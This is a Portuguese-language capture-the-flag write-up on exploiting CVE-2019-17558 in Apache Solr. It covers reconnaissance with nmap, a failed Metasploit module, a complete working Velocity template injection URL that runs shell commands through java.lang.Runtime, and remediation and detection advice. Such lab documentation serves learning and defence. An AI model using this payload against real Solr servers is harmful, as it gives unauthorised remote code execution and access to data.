
Write-up de CTF documentando a exploração de CVE-2019-17558 no Apache Solr, abordando reconhecimento, limitações do Metasploit, injeção manual de template Velocity, captura da flag e remediação.
Exploração prática de uma vulnerabilidade de Velocity Template Injection no Apache Solr, evoluindo de uma falha em ferramenta automatizada (Metasploit) para uma exploração manual bem-sucedida.
Este write-up documenta o raciocínio completo do exercício, com foco no diagnóstico da falha da ferramenta e no pivot para a exploração manual.
| Item | Descrição |
|---|---|
| Alvo | Servidor Linux executando Apache Solr na porta 8983 |
| Objetivo | Ler o conteúdo de um arquivo sensível (/home/favorite_book.txt) |
| Vulnerabilidade | CVE-2019-17558 (RCE via Velocity Response Writer) |
A fase inicial consistiu na identificação de serviços ativos no host alvo.
nmap -sV -p- <TARGET_IP>
Resultados.
novacollection.Ao acessar o painel administrativo, foi confirmado que a versão do Solr era vulnerável a Velocity Template Injection.
A falha ocorre quando o atacante consegue alterar a configuração params.resource.loader.enabled para true, o que permite o uso de templates Velocity personalizados e, a partir daí, a execução de código Java arbitrário no servidor.
Inicialmente foi utilizado o módulo exploit/multi/http/solr_velocity_rce.
O exploit conseguiu alterar a configuração do Solr com sucesso.
[+] params.resource.loader.enabled is true for core 'novacollection'
No entanto, o estágio final de injeção do payload falhou com um erro de execução Ruby.
NoMethodError: undefined method 'body' for nil:NilClass
Isso indicou que, embora o ambiente estivesse vulnerável e já preparado, a ferramenta não conseguiu processar a resposta do servidor para finalizar o ataque. O alvo não estava seguro, apenas o método de entrega do módulo precisava ser ajustado.
Com o Velocity Writer já habilitado pelo Metasploit, a injeção foi realizada manualmente via requisição HTTP GET, contornando o erro do script. O template Velocity foi construído para instanciar java.lang.Runtime e executar o comando de leitura do arquivo alvo.
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Comando efetivamente executado no servidor.
cat /home/favorite_book.txt
A injeção foi bem-sucedida e o conteúdo do arquivo foi retornado diretamente no corpo da resposta HTTP, renderizado no navegador, permitindo a captura da flag.
NoMethodError não significava alvo seguro, apenas que o método de entrega precisava de ajuste.params.resource.loader.enabled permaneça desabilitado.select com parâmetros wt=velocity, úteis como assinatura de detecção em SIEM.Este repositório foi criado para fins educacionais e de documentação de aprendizado em ambiente controlado (CTF). Não utilize estas técnicas contra sistemas sem autorização explícita.